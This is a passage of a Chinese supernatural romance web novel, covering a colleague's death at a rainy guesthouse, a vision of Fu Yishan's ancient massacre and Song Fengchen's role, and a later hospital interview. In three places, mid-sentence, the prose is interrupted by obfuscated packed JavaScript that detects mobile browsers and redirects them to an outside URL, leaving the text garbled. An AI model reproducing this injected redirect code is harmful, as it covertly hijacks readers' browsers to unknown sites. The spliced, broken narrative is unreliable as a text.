男同事摇了摇头,“民宿里没有监控,只有民宿外有,但并没有拍到他。” 陆雯雯暗戳戳拉了下洛瑶的衣袖,小声说道:“洛瑶姐,你怕不?我怎么觉得听着有点瘆人啊。” 洛瑶给了她一个安抚的眼神,随后向郭杰提出了自己建议:“杰哥,我看要不我们一起再在民宿和民宿周边找找看?说不定他在哪个角落睡着了呢?” 郭杰立马同意了洛瑶的建议,“我也是这么想的,民宿老板说他那有雨衣,这样吧,我和男同事一起穿雨衣或打伞去民宿外面找,女同事互相结伴,和民宿老板一起在民宿内再找找看。” 讨论到此,大家都意识到宋逢辰失踪的严重性。 话毕,大家都开始了各自的分头行动,洛瑶和陆雯雯、李舒怡一道走。 “我们是不是该报警啊?”陆雯雯惴惴不安地问道。 “下这么大雨,警|察估计一时半会儿来不了,再加上监控也没拍到宋逢辰,这么大一个人总不可能凭空消失了吧?”李舒怡打了个哈欠,被迫打起十二万分的精神。 听到“凭空消失”四个字,洛瑶顿住了脚步。 “怎么了,洛瑶姐?”陆雯雯原本挽着洛瑶的胳膊被顺势牵制住了。 虽然傅以山消失了,可是魇昧呢?会不会还在? 把人“凭空消失”这件事看似不可能发生,可毕竟是亲身经历过超自然事件的洛瑶,不自觉背后发凉。 这种事情,如果没有亲历,是不会有人相信的。 洛瑶试图将紧锁的眉头舒展开,将手搭在陆雯雯肩上,“没事,我们先找找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100076|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。” 部门里这次出游的总共有十几个人,男女比例相当,很快大家就陆陆续续地回到民宿,再一次在餐厅里集中。 洛瑶站着清点了下人数,发现独独少了郭杰和宋逢辰的室友。 难道是因为他们有所发现了? 当下,洛瑶立刻给郭杰打了个电话,但是没打通。 “他们回来了。”等了好一会儿,民宿老板的声音从屋外响了起来。 有些心急的同事忍不住跑去接应。 本来高高兴兴的一群人出游,结果有个人出事了,大家自然很是担心剩下的人。 郭杰是和宋逢辰室友互相搀扶着走进来的,两个人脸色都极为难看,宋逢辰室友身上甚至还有血迹斑斑。 “杰哥,到底出什么事了?”有个男同事发问道。 “我们找到宋逢辰了。”郭杰深吸一口气,露出了痛苦的神情,“他死了。” “什么?” “死了?你们发现他尸体了?” “在哪里?好可怕啊。” “究竟怎么回事?报警了吗?” 郭杰的一句话如同石子被投入油锅里,搅乱了所有的沉着冷静,炸起一片哗然。 “我和杰哥在山里发现了宋逢辰的尸体,已经报警了,但是因为暴雨,警|察恐怕一时半会儿过不来。”宋逢辰的室友惊魂未定地解释道。 “我这边受到通知说暴雨对路况的影响很大,多条上山路线已被封锁,路面有些从山上滚下的碎石挡在那里,现在上山和下山都不行。”发生了这样的事情,作为民宿老板更是惶恐不安,他是个老实本分的生意人,头一次遇到这种情况。 “杰哥,你们确定宋逢辰已经……已经无法挽救了吗?”洛瑶很难想象昨天还和他们有说有笑的一个人今天就变成了他人口中一具尸体。 “我们一开始以为他只是受伤昏厥,可他……身上的种种迹象皆表明他很有可能昨晚人就没了。”郭杰万分惋惜,后悔昨晚没能及时关注到宋逢辰的异样。 或许他昨晚就已经身体不适。 “你们说他会不会是被人杀了,然后抛尸在那里?”人群中一个喜欢看侦探小说的同事突然叫喊起来。 此话一出,顿时将在场所有人都列入了杀人凶手名单,互相之间的猜忌随之而来。 “这都要等警方来了才能知道了。”郭杰头疼万分。 “可万一凶手在我们之间,我们剩下的人岂不是都有危险?”一个十分害怕的女同事忍不住发出了哭腔。 “宋逢辰才刚来工作没多久,谁会对他痛下杀手呢?” “是啊,他平时脾气挺好的,也没和别人吵过架。” “真是奇了怪了,我现在浑身起鸡皮疙瘩。” 各种各样的猜测声不绝于缕,恐惧和不安弥漫了整个民宿。 大家都是普通打工人,不是宋慈,也不是柯南,没有人能到底宋逢辰是怎样遇难的。 洛瑶扫视了一圈所有在场的人,都是她熟识的同事,也没有发现人有异样。 在她看来,若非要从他们之中选择一个最奇怪的人。 她的首选是宋逢辰。 不知为何,从相遇那天起,她总感觉宋逢辰身上带着某些不为人知的秘密。 32. 凶手 整整一天,天空的乌云都没有消散,时不时传来轰鸣雷声,雨水铺天盖地,敲打在窗户上,令潮湿的空气里寒意更甚。 为了安全起见,大家基本都是集体行动,统一集中在民宿中庭活动区范围内。 一直熬到晚上要睡觉的点,郭杰首先忍不住了,提议道:“总不能大家都不睡,在这干耗着吧?要不这样,男同事轮流守夜,女同事只管先睡,大家睡觉时候记得锁好门窗。” 发生了这样的事,其实没几个人能睡得着,但郭杰毕竟是领导,没几个人敢违抗领导的意思,只好都先各自回房间了。 陆雯雯坐在床上,用手托腮,问洛瑶道:“洛瑶姐,你觉得是我们中间有人杀了宋逢辰,还是他的死只是个意外?” “这种事还是交给警|察来判断吧,看天气预报,雨应该很快就能停了,到时候警|察来了,自有论断。”洛瑶其实是找个借口安抚陆雯雯,她心里其实更倾向于认为这是一起超自然事件。 “但愿我们中间没有凶手,不然也太吓人了。”一想到天天和杀人凶手共事,陆雯雯不由毛骨悚然。 “现在想这些也没用,走一步看一步吧。”洛瑶叹了一口气。 她突然想到要是傅以山还在的话,他是不是有能力调查出宋逢辰的死因? 他那个召唤出一个显示屏的技能或许能派上用场。 不过,这都只能是她随便想想,毕竟傅以山已经消失不见了。 她现在回想起两个人对视的最后一眼,或许当时他的眼神里就写满了告别,而她当时一点都没想到他会就这样与她告别。 现在,连最重要的手链也不翼而飞,恐怕他再也不会在她有危险时出现在她身边。 思及此,洛瑶的心又开始揪痛起来,久久缓不过来。 陆雯雯受了一天的惊吓,整个人晕乎乎的,没注意到洛瑶的不对劲,听完洛瑶的话后,紧绷了一天的神经稍微放松了点,架不住汹涌而来的睡意,倒头就睡着了。 紧闭的门窗隔绝了外面的世界,连雨声都变得不真切起来,电闪雷鸣似乎都消停了,一切都有向好的趋势。 只是洛瑶始终感觉还有一根筋吊在那里,翻来覆去睡不着。 也不知道过了有多久,洛瑶听见窗边传来了异响,像是有小石子击打窗户发出的声音。 大晚上的,是谁在这里恶作剧? 洛瑶本打算叫上陆雯雯一起去查看,可一转头,见陆雯雯正睡得十分安稳,便不好意思叫醒她。 小石子击打窗户的声音一下一下,格外有规律性,让人无法忽略,故意引诱人要去看似的。 洛瑶犹豫了很久,小石子的声音停不下来。 一想到自己睡前检查了好几遍门窗已锁好,洛瑶最后还是鼓起勇气,走到窗户边,拉开了窗帘。 熟悉的院落,熟悉的花草,可不同的的是,在院子中间站着一个撑伞的人,身形修长,穿着简单的卫衣和牛仔裤。 只见他缓缓将伞抬起,露出一张似笑非笑的脸。 洛瑶看到他脸的一秒钟,立马腿软,倒在了地上。 撑伞那人长得和宋逢辰别无二致! 而且洛瑶记起宋逢辰失踪前也是穿这样一套衣服。 杰哥和那同事明明确认过宋逢辰的尸体,已经死掉的人怎么还会出现在这里? 洛瑶感觉自己脑袋像被雷击中,轰地一下,眼眸中闪烁着惊恐,手脚发麻,想发出尖叫却发现嘴巴颤动了几下都发不出一点声音,不受控制的晕眩感席卷而来。 * 随着一声振聋发聩的巨响,瓦片被击碎的声音夹带着巨大的气流声令人为之心颤不已。 洛瑶好不容易睁开双眼,入目的竟然是一座气势恢宏的大殿,她正站在宫殿门口,里面的人身穿朝服,腰佩玉带,威仪整肃。 “护驾!快来人护驾!”一阵尖锐的声音从大殿最里出传来。 洛瑶还没弄清楚怎么回事,就亲眼目睹一群身穿盔甲的士兵从她身边穿过,丝毫没注意到她这个大活人似的。 按耐不住心中的好奇心,洛瑶不怕死地也跟着进去。 所有的士兵围成一个圈,将大殿团团围住,正中央站着一个人,手持长枪,枪头点地,上面还流淌着不知名的鲜血。 洛瑶在确认其他人看不见她后,索性走上前去,看向那个勇士。 那个勇士不是别人,正是傅以山。 “你就是害死洛瑶的人?”傅以山手一挥,用长枪尖锐的头部,刺向高坐于殿上最高处的人。 “你是何人?为何出现在这里?”帝王之所以能成为帝王,也是有一定临危不惧的魄力在。 “既然洛瑶称我一声师父,今日我便要为她报仇。”傅以山以洛瑶从没有见到过地霸气之姿,浑身散发出汹涌的戾气,话一说完就向帝王发起了进攻。 只见寒光一闪,人群中突然冲出来一名男子,挡在御前护驾,呵斥道:“洛瑶是我南夏子民,与你这北辰贼子有何瓜葛?吾妻已死,切莫毁她名声!” 洛瑶定睛一看,认出该男子便是当时在洛家和洛明志商议婚事的太子。 “吾妻?”傅以山冷笑一声,随手一挥。 周围所有士兵都动弹不得,太子直接被一股神力掐住了脖子,向上被举到半空中,两条腿拼命挣扎着,却怎么也挣脱不了。 傅以山没有给他喘息的余地,直接一把将其甩了出去,在场所有人都不由得为太子捏了一把冷汗。 洛瑶飞奔到傅以山面前,试图想要抓住他的手,可无论她怎么努力,她的手在傅以山面前都是半透明的,会自动穿过去。 “傅以山,你快停下,不要滥杀无辜。”洛瑶心里莫名着急,看着傅以山一副杀红了眼的样子,总觉得他要出事。 “他听不见的。”一个突兀的声音在洛瑶耳畔响起。 洛瑶转头看去,正好对上宋逢辰藏着无数秘密的双眸。 等到洛瑶回过神,双眼无意识地一睁一闭之后,身侧的场景又发生了变化。 她站在了一处烽火台上,风裹挟着硝烟,呛得人忍不住要流下眼泪。 从烽火台上眺望,不远处的皇城上方浓烟滚滚,直冲云霄,掀起一股黑云压境之势。 洛瑶下意识转身,果不其然又看到宋逢辰。 “你到底是谁?”洛瑶心里已经隐隐对宋逢辰的身份有了一个答案。 “就是你想的那样,我就是上尊。”宋逢辰没有准备隐瞒这件事。 洛瑶丝毫没有畏惧对方的身份,上前一步问道:“傅以山呢?他怎么样了?” 宋逢辰指着皇城,叹了一口气道:“就是你看到的这样,傅以山他杀光了皇城里的所有人,害得南夏国将不国,百姓流离失所。” “不可能,傅以山不是这种人。”洛瑶一边摇头,一边落下了眼泪,她心里隐隐有了猜测,可她不愿意相信。 “我第一次见到梦貘的时候,他满身的魔气,正在杀人,我为了不让他再继续为害人间,便收他为灵兽,并帮他净化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114837|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了心灵,但即便如此,他的骨子里还是有魔性的。”宋逢辰望着皇城,似是陷入了当初的回忆之中。 “所以他现在人在哪里?”洛瑶暂时放下伤心,抬头紧盯着宋逢辰,她知道他是唯一能够知道傅以山所在的人。 “他去了自己该去的地方。” “为什么?是你逼他去的?” 宋逢辰用一种奇怪的眼神看着洛瑶,用手指指着自己轻笑道:“我逼他?” “难道不是吗?自从你出现后不久,他就离开了。” “你看到他杀人,难道不怕吗?” “傅以山他不会乱杀人,他是因为古代洛瑶死了,他才会这样。” “那你不觉得他爱的是古代洛瑶,而你只是个替身吗?” 洛瑶翻了个大白眼,抱臂睨了宋逢辰一眼后道:“你根本不了解我和他之间的事情,凭什么作出这样的判断?” “他能为了古代洛瑶杀人,还不是爱她吗?” 洛瑶摇了摇头,看向宋逢辰之时忽然有一种他还是注孤生男大学生的错觉,“作为陪伴他成长的人,你就如此不信任他吗?我能感觉出来他是受了魔性的影响,一时冲动而犯下错误,杀人并不是他的本意。” “哦?没想到你还挺信任他的。” “我当然信任他。”洛瑶十万分笃定地说。 宋逢辰紧抿着唇,一时没有说话,眼睫下垂着,像是思忖着什么。 “所以在傅以山大开杀戒后,你对他做了什么?”洛瑶眉头紧锁,面容带着不同寻常的冷意,眼底波涛翻涌。 其实不用宋逢辰开口,洛瑶也能大致猜到。 傅以山之所以完全不记得以前发生的事情,肯定和宋逢辰脱不了关系。 “一些痛苦的事情,没必要记得。”宋逢辰轻哂道。 “可他这么久以来,一直在人间找寻这段记忆。”洛瑶觉得有些矛盾,既然宋逢辰说是为了傅以山不再痛苦而消除了他的记忆,那为什么又让傅以山长长久久地留在人间处理魇昧? 这不是给他安排了一份没有工资的工作,而且还没有退休到期一说? “我也不清楚他能不能找回记忆,但因为有你的出现,他现在已经想起来了。”宋逢辰用一种讳莫如深的眼神看向洛瑶。 “可要是没有我呢?他还要在人间打工到何时?” 听到洛瑶的质问,宋逢辰忽而笑了起来,“有趣,你关注的点还真是与众不同。” “谢谢你的夸奖,因为我就是个普通的打工人,所以刚刚一下子自我代入了。”洛瑶已经习惯了宋逢辰的阴阳怪气,忍不住回怼道。 “或许你应该要知道那些魇昧是什么。”宋逢辰摸了摸自己的下巴。 “是什么?”洛瑶倒是从没有思考过这个问题。 宋逢辰转过身,用手指向不远处被浓黑雾气笼罩的皇城,幽幽开口:“那里就是魇昧产生的源头。” 那些因为傅以山的魔性而不顾失去生命的人怨气冲天,在皇城上空逐渐郁结成魇昧的雏形。 经过时间的磨砺,魇昧在人间汲取了更多人性中包含的贪、嗔、痴、慢、疑,慢慢变强大。 从古至今,魇昧和梦貘一直都是相生相克的关系。 魇昧因梦貘而存在,梦貘则把清除魇昧当成自己的使命。 在岁月的长河里,魇昧渐渐被消磨殆尽,梦貘自然也就失去了再留守于人间的理由。 世间万物皆有其既定的运行规律,人不能改变规律,神亦不能。 33. 采访 据岁月史书记载,天启22年,北辰将军傅以山率军攻入南夏皇都,剿灭南夏皇族。 南夏太子妃洛瑶于大婚之前在家中自尽,洛明志及其妻下落不明。 当时身为北辰皇子之一的宋逢辰最终于洛府门前找到傅以山。 “以山,人死不能复生,你又何必如此?”宋逢辰沉痛惋惜地长叹道。 原本坐在台阶上的傅以山努力站起来,走到宋逢辰面前,双膝跪地,低垂下头道:“以山自知罪孽深重,请上尊责罚。” 在此之前,宋逢辰和傅以山并肩作战了很长一段时间,在他心里,早已将傅以山视为自己的亲人。 只可惜,世事无常,傅以山剿灭南夏皇族破坏了这个世界正常运作的规律,死在他手下的冤魂大闹特闹,聚散在南夏,搅得天地之间一时平静不下来。 虽然宋逢辰和神女已经极力挽救人间,可还是需要一个人继续留在人间处理那些魇昧。 “你可愿?”宋逢辰征询傅以山的意思。 “臣定当竭尽所能。”傅以山自是心甘情愿为此事奔波。 宋逢辰若有所思地看着傅以山身上还未散尽的肃杀之气,意识到他的魔性恐怕没那么容易除尽,为此他特意探进他的识海,将他那些痛苦的记忆抹去了。 至此之后,傅以山便彻底成为了留在人间祛除魇昧的工具人。 日复一日,年复一年,知道自己失去了一段记忆但却一直什么也想不起来。 直到那一日,他在洛瑶的梦中看见了身穿铠甲的自己。 * 经过一夜的暴雨冲刷,天空碧蓝如洗,苍茫的天穹之下,山林显得格外苍翠,伴随着清脆的鸟鸣,山脉之间的溪流奔腾,给让一种宁静而又生机勃勃的感觉。 “洛瑶姐?醒醒,该起床了。”隐隐约约之间,洛瑶听见了有人在喊她。 眼睛一睁开,过来就看到陆雯雯站在她床边。 环顾四周,她们正身处在民宿房间里,窗帘已被陆雯雯拉开一大半,白晃晃的阳光从屋外透进来。 “几点了?是警|察来了吗?”洛瑶只记得自己和宋逢辰站在烽火台上对话,后来发生了什么她就没印象了。 “警|察?什么警|察?”陆雯雯一脸惊奇,“洛瑶姐,你睡糊涂了吧?” “不是说今天雨停了,警|察会来调查吗?宋逢辰的尸体应该还在山里吧?”洛瑶表面上在复盘之前发生的灵异事件,心里却暗暗咒骂宋逢辰故意搞事情吓人。 “洛瑶姐,你刚是不是做噩梦了?宋逢辰是谁啊?”陆雯雯看向洛瑶的眼睛里充满了困惑,不似有假。 此情此景,洛瑶不由得想起来之前自己去问颜子记不记得傅以山的时候。 如出一辙。 原来他们有超能力都是喜欢这样戏耍他们这些平民百姓吗? 顿时明白过来的洛瑶气得用拳头锤了锤床。 “你没事吧洛瑶姐?”看见洛瑶咬牙切齿地模样,陆雯雯不由有些担忧起来。 “没事没事,都只是我的噩梦而已,现在都过去了。”洛瑶用手心搓脸,试图让自己更加清醒一些。 如今,傅以山已经消失了,宋逢辰也从她的生活里彻底被所有人遗忘。 不出意外,回到正常生活之后,所有在广电大厦上班,和宋逢辰有过接触的人都不记得他。 也不知道他们是有意的还是无意的,只有洛瑶,还清楚地记得傅以山和宋逢辰这两个名字,记得他们的样子,记得和他们相关的所有事情。 真是太可恶了。 在新一期的《深夜电台》栏目中,洛瑶特地把上尊这个角色加了上去。 果不其然,有好多热心听众都听不下去了,打电话过来吐槽上尊拆他们CP,一度把上尊骂上热搜。 陆雯雯也忍不住和洛瑶说:“姐,咱就是说能不能让上尊滚?” “他已经滚了啊。”洛瑶露出一个迷之微笑。 “太讨厌了,要不是他,傅以山也不会去打战,也不会失去记忆那么多年,最后好不容易有情人终成眷属了,又因为上尊的出现,导致两人分离。” “或许也不只是他的原因吧?” “那为什么傅以山会离开那个女孩?肯定是因为上尊逼他的。” “我起初也一度是这么认为的。”洛瑶叹了一口气,摇头道,“可一转念,傅以山如果真是这么没有心气之人,当初也不会一意孤行冲入皇宫里了。” “那会不会是上尊法力比他高强,把他关起来了?为了驱魔什么的。”陆雯雯用自己的想法努力想把故事变得更加圆满。 可世间事往往以事与愿违居多。 《深夜电台》节目为了维持此次灵异故事的热度,特地开通信箱,广邀各路听众来给故事写一个结局。 喜欢这个故事的人,脑洞大开,纷纷为结局出谋划策,一时间又在网络上引发热烈讨论。 洛瑶和陆雯雯一起将来信中相对文笔优美,故事情节引人入胜的,通过节目分享给更多的人。 忙忙碌碌之间,冬天悄然而至。 闻芳卉和副台长结婚后不久便辞了工作,据说副台长着急想生孩子,让闻芳卉在家调养身体,备孕。 不用工作的闻芳卉彻底放开,在朋友圈、某书、某博都发自己当阔太太的生活。 这样一来,就有喜欢看热闹不嫌事多的热心网民扒出了副台长的公职身份,公职人员的太太在网上炫富,一时间激发了一群底层打工人的不满,还有人爆料副台长有收受贿赂之嫌,给台里写了举报信。 台里迫于舆论的压力,只好先让副台长停职了。 一时间,台里动荡了一波又一波,人事调动不断。 过年之后,台里进行了一番新的整改。 因为负面新闻的影响,上头对节目的管控变得更加严格。 虽然杰哥和洛瑶都努力在领导面前争取过一段时间,可最终《深夜电台》栏目还是因为缺少社会正能量话题而下架了。 洛瑶被重新调到了早上的《音乐之声》栏目,陆雯雯正式转正,和她继续搭档。 另外,杰哥还打算出个专题栏目,放在下午播放。 “你们还记得去年我们做的一期关于青铜博物馆的节目吗?”郭杰笑眯眯地看着洛瑶和陆雯雯。 陆雯雯率先点头,“记得,那时候是洛瑶姐亲自去访问的馆长。” 洛瑶自然是不会忘记那一期节目,她一开始邀约的是陈馆长,没想到最后出来接待的是傅以山。 后来陈馆长退休了,接替他的人并不认识傅以山。 “没错,那期节目之后有不少单位来联系我们要合作,希望通过我们节目宣传自己的单位。”郭杰如是说。 “他们有说会提供多少项目经费吗?”一想到傅以山,洛瑶心情不由失落,可工作还是要做的。 “这个数。”郭杰用手比了个相当客观的数字。 在经济形势不好的情况下,能拿出这样的经费来宣传已经很难得了。 洛瑶知道这节目可能会成为他们这一年的重大收入项目,于是便同意道:“行吧,那我们第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129053|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一期节目是和哪家单位合作?” “医科大附属医院。”郭杰把甲方爸爸的资料双手奉上。 * 本来洛瑶以为郭杰对接的甲方会给安排一些常见的科室,比如内外科、眼科、妇产科什么的,没想到她们接到的采访任务是关于心理科的。 洛瑶开车带着陆雯雯一起来到医科大附属医院。 等她把车停好,准备坐电梯上楼时,陆雯雯突然肚子很痛,捂着肚子道:“洛瑶姐,要不你先上去找医生吧,我去上个厕所立马来找你。” “没事,我就在这等你吧。”洛瑶怕陆雯雯到时候找不到路。 陆雯雯看了眼时间,苦着脸道:“已经快到时间了,让医生等着好像不太好,要不你还是先上去吧。” 那倒是的,万一这个医生要是比较讲究时间观念,她们这次采访恐怕没法顺利进行。 “那好,我先上去,你有事给我打电话啊。”洛瑶冲她挥了挥手里的手机。 陆雯雯比了个“OK”的手势,转身就找厕所去了。 医院为了让此次采访不被打扰,特意给安排了一个小会议室,洛瑶到达会议室的时候,发现会议室的门虚掩着。 她敲了敲门,从里面传来了一声“请进”。 简短的两个字,却是让洛瑶的心头为之一颤,熟悉的声线如在静夜中听见的击玉一般,温润清透。 洛瑶推开门,办公室里开了暖气,加湿器徐徐吐着白雾,冬日的阳光透过百叶窗照进来,和室内的白炽灯混在一起,分不清明暗。 只见会议室被一张椭圆形长桌占了大半位置,采访人就坐在椭圆桌的一角,侧对着门,那张在梦中见过无数次的侧脸,让洛瑶整个人都有些恍惚。 地上铺着厚厚的地毯,就算高跟鞋踩上去也没有声音。 洛瑶不知不觉走到了那人的身侧。 “傅以山?”洛瑶的发音都变得含糊起来,内心激动得仿佛有鼓声在心间回荡,不论如何深呼吸,也无法控制呼之欲出的欣喜之情。 那人听见声音里立马有礼貌地站起身来,正面朝着洛瑶,目光静静停留在她身上,清俊的嘴角笑意蔓延开,“你就是今天来采访的洛主播吧?久仰大名。” “你……又不记得了?”洛瑶听见傅以山如此生疏的口吻,本来一颗炽热滚烫的心瞬间冷却下来。 “记得什么?”傅以山微微皱眉,语气真挚地问道。 洛瑶抬头望向天花板,心想这回是不是又是该死的宋逢辰将他的记忆全部都给抹去了。 他这次不记得古代洛瑶也就算了,连她也不记得了,她和傅以山的相识也被算作是什么痛苦的记忆吗? “那你认识上尊吗?他还有个别名叫宋逢辰。”洛瑶试探道。 傅以山眉心微动,“尚尊?是我们医院里的医生吗?” 好家伙,看来傅以山这回的失忆比上次还更加彻底。 洛瑶咬了下唇,上下打量着他道:“那你还记得你是梦貘吗?” “梦貘?”傅以山眉目里都透着一种茫然。 洛瑶用手一拍脑门,觉得自己应该要冷静下来。 她心里有个别样的想法,眼前之人会不会只是个和傅以山长得一样的普通人,而不是她所认识的那个傅以山? “咚咚咚——”敲门声打断了洛瑶的思索。 已经上完厕所的陆雯雯一脸抱歉地匆匆走进来。 医生的时间想来宝贵,洛瑶知道就算她心中的疑问再多,此时也不是发问的好时机,只能先开始正式的采访。